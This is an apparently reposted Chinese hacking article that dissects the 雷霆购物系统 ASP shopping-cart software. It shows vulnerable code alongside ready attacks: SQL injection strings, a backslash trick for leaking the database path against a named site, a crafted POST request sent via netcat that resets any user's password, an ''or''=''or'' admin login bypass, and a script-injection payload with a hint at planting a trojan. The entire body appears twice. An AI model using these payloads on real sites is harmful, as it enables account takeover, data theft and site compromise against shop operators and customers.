霸王背后的脆弱——完全解剖雷霆购物系统
程序员文章站
2022-03-19 13:57:50
雷霆购物系统是国内一个使用比较广泛的购物系统,现在,我们就来看看它的安全性究竟如何吧!从网上下载7.08最新版的雷霆购物系统,现在我们来分析代码!!
一、SQL注入漏洞
... 08-10-08...
雷霆购物系统是国内一个使用比较广泛的购物系统,现在,我们就来看看它的安全性究竟如何吧!从网上下载7.08最新版的雷霆购物系统,现在我们来分析代码!!
一、sql注入漏洞
我们先来看看vpro.asp文件的部分漏洞代码:
<%
dim id
id=request.querystring("id")
dim prename,company,intro,predate,graph2,description,remarks,price
set rs=server.createobject("adodb.recordset")
rs.open "select * from product where id="&id,conn,1,3
rs("viewnum")=rs("viewnum") 1
rs.update
%>
sub.asp文件的漏洞代码:
sortsid=request.querystring("nid")
if not isempty(request("page")) then
currentpage=cint(request("page"))
else
currentpage=1
end if
set rs=server.createobject("adodb.recordset")
rs.open "select pagenum,name,mark,vipprice,discount,score,id,author,productdate,price2,price1,discount,pic from product where sortsid= "&sortsid&" order by adddate desc",conn,1,1
还有rank.asp文件的漏洞代码:
dim id,action
action=request.querystring("action")
id=request.querystring("id")
set rs=server.createobject("adodb.recordset")
rs.open "select id,name,rank,ranknum from product where id="&id,conn,1,3 参数全都没有做过滤,用普通的注入工具就能轻松注入。
search.asp这个文件我开始还以为是搜索页面,但是当我细读代码后,发现原来reseach.asp才是真正的搜索文件,其中又这样一段代码:
if name<>"" then
sql=sql&"and name like ’%"&name&"%’ "
end if
if author<>"" then
sql=sql&"and author like ’%"&author&"%’ "
end if
if manufacturer<>"" then
sql=sql&"and mark like ’%"&manufacturer&"%’ "
end if
if code<>"" then
sql=sql&"and categoryid like ’%"&code&"%’ "
这就是经典的填字游戏!!因为它在高级搜索页面作了javascript过滤,所以我们要用nc提交来进行cookies注入。但我们也可以在快速搜索页面提交:“504%’注入语句’p4”就能注入了,抓包然后把地址放在nbsi里就能注入了,因为我的iis有点问题,所有就没深入测试。
二、爆库
数据库连接文件conn.asp并没有加入容错语句on error resume next我们随便找一个带参数的地址,如:www.hackerxfiles.net/vpro.asp?id=513,我们就在地址栏里输入:www.hackerxfiles.net\vpro.asp?id=513,看数据库爆出来了吧! 三、cookies欺骗漏洞
forget.asp是密码找回文件文件,repws.asp是修改密码文件,我们来看看它的部分代码:
<%
if request("username")="" then
call msgbox("非法使用!","back","none")
response.end
end if
dim tmp
set rs=server.createobject("adodb.recordset")
’提交修改密码
if not isempty(request("submitrepws")) then
if request("password")<>request("password2") then call msgbox("再次输入密码不一致!","back","none")
rs.open "select password from [user] where username=’"&trim(request("username"))&"’",conn,1,3
rs("password")=md5(trim(request("password2")))
rs.update
rs.close
call msgbox("您的密码取回成功,请登录!","gourl","login.asp")
response.end
end if
rs.open "select answer from [user] where username=’"&trim(request("username"))&"’ ",conn,1,1
tmp=trim(rs("answer"))
rs.close
if tmp<>md5(request("answer")) then
call msgbox("对不起,您输入的问题答案不正确","back","none")
response.end
end if
set rs=nothing
%>
呵呵,笑了吧!我们现在来构造数据包:
post /lt/repws.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
referer: http://localhost/lt/repws.asp
accept-language: zh-cn
content-type: application/x-www-form-urlencoded
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; maxthon)
host: localhost
content-length: 72
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidqgqgqxoo=ifkfcofapeoinkpngdejekof
password=121212&password2=121212&submitrepws=提交&username=x-key
修改就把ueername和password、possword2还有content-length修改一下就行了,其他的都不用改。我们现在用nc提交:nc localhost 80<1.txt>1.htm,如图3所示,然后我们运行一下1.htm,就会看到图4的消息框了!
四、跨站漏洞
注册文件reg.asp只是在页面表面用了javascript做了过滤,我们可以把它保存到本地,然后删除javascript验证就能注册了呵呵,注册的所有参数都完全没有做过滤哦!!在里面添任何东西都可以,但是这又有什么用呢?那么这就是要看你的工程学了。
我们来看看留言本的login.asp的漏洞代码:sqlchk="select * from admin where admin=’" & username & "’ and password=’" & password & "’"呵呵,用经典的’or’=’or’就能进入了,但是,页面做了javascript验证,但是这个验证就能阻止我们吗?呵呵,当然不能,绕过javascript验证的方法前面已经讲过了,这里就不重复了!
我们只要先抓包,然后用nc这样提交就行了nc localhost 80<1.txt>1.htm好了,现在我们就可以打开1.htm了!!
我们再来看看write.asp文件,我们打开该页面在“电子邮件”或者“个人主页”中输入跨站代码:"><script>alert("x-key")</script><",就能看到我们想要的效果了!如果我们再勾上“只有斑竹才可以看”,呵呵,挂个马什么的不就……
一、sql注入漏洞
我们先来看看vpro.asp文件的部分漏洞代码:
<%
dim id
id=request.querystring("id")
dim prename,company,intro,predate,graph2,description,remarks,price
set rs=server.createobject("adodb.recordset")
rs.open "select * from product where id="&id,conn,1,3
rs("viewnum")=rs("viewnum") 1
rs.update
%>
sub.asp文件的漏洞代码:
sortsid=request.querystring("nid")
if not isempty(request("page")) then
currentpage=cint(request("page"))
else
currentpage=1
end if
set rs=server.createobject("adodb.recordset")
rs.open "select pagenum,name,mark,vipprice,discount,score,id,author,productdate,price2,price1,discount,pic from product where sortsid= "&sortsid&" order by adddate desc",conn,1,1
还有rank.asp文件的漏洞代码:
dim id,action
action=request.querystring("action")
id=request.querystring("id")
set rs=server.createobject("adodb.recordset")
rs.open "select id,name,rank,ranknum from product where id="&id,conn,1,3 参数全都没有做过滤,用普通的注入工具就能轻松注入。
search.asp这个文件我开始还以为是搜索页面,但是当我细读代码后,发现原来reseach.asp才是真正的搜索文件,其中又这样一段代码:
if name<>"" then
sql=sql&"and name like ’%"&name&"%’ "
end if
if author<>"" then
sql=sql&"and author like ’%"&author&"%’ "
end if
if manufacturer<>"" then
sql=sql&"and mark like ’%"&manufacturer&"%’ "
end if
if code<>"" then
sql=sql&"and categoryid like ’%"&code&"%’ "
这就是经典的填字游戏!!因为它在高级搜索页面作了javascript过滤,所以我们要用nc提交来进行cookies注入。但我们也可以在快速搜索页面提交:“504%’注入语句’p4”就能注入了,抓包然后把地址放在nbsi里就能注入了,因为我的iis有点问题,所有就没深入测试。
二、爆库
数据库连接文件conn.asp并没有加入容错语句on error resume next我们随便找一个带参数的地址,如:www.hackerxfiles.net/vpro.asp?id=513,我们就在地址栏里输入:www.hackerxfiles.net\vpro.asp?id=513,看数据库爆出来了吧! 三、cookies欺骗漏洞
forget.asp是密码找回文件文件,repws.asp是修改密码文件,我们来看看它的部分代码:
<%
if request("username")="" then
call msgbox("非法使用!","back","none")
response.end
end if
dim tmp
set rs=server.createobject("adodb.recordset")
’提交修改密码
if not isempty(request("submitrepws")) then
if request("password")<>request("password2") then call msgbox("再次输入密码不一致!","back","none")
rs.open "select password from [user] where username=’"&trim(request("username"))&"’",conn,1,3
rs("password")=md5(trim(request("password2")))
rs.update
rs.close
call msgbox("您的密码取回成功,请登录!","gourl","login.asp")
response.end
end if
rs.open "select answer from [user] where username=’"&trim(request("username"))&"’ ",conn,1,1
tmp=trim(rs("answer"))
rs.close
if tmp<>md5(request("answer")) then
call msgbox("对不起,您输入的问题答案不正确","back","none")
response.end
end if
set rs=nothing
%>
呵呵,笑了吧!我们现在来构造数据包:
post /lt/repws.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
referer: http://localhost/lt/repws.asp
accept-language: zh-cn
content-type: application/x-www-form-urlencoded
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; maxthon)
host: localhost
content-length: 72
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidqgqgqxoo=ifkfcofapeoinkpngdejekof
password=121212&password2=121212&submitrepws=提交&username=x-key
修改就把ueername和password、possword2还有content-length修改一下就行了,其他的都不用改。我们现在用nc提交:nc localhost 80<1.txt>1.htm,如图3所示,然后我们运行一下1.htm,就会看到图4的消息框了!
四、跨站漏洞
注册文件reg.asp只是在页面表面用了javascript做了过滤,我们可以把它保存到本地,然后删除javascript验证就能注册了呵呵,注册的所有参数都完全没有做过滤哦!!在里面添任何东西都可以,但是这又有什么用呢?那么这就是要看你的工程学了。
我们来看看留言本的login.asp的漏洞代码:sqlchk="select * from admin where admin=’" & username & "’ and password=’" & password & "’"呵呵,用经典的’or’=’or’就能进入了,但是,页面做了javascript验证,但是这个验证就能阻止我们吗?呵呵,当然不能,绕过javascript验证的方法前面已经讲过了,这里就不重复了!
我们只要先抓包,然后用nc这样提交就行了nc localhost 80<1.txt>1.htm好了,现在我们就可以打开1.htm了!!
我们再来看看write.asp文件,我们打开该页面在“电子邮件”或者“个人主页”中输入跨站代码:"><script>alert("x-key")</script><",就能看到我们想要的效果了!如果我们再勾上“只有斑竹才可以看”,呵呵,挂个马什么的不就……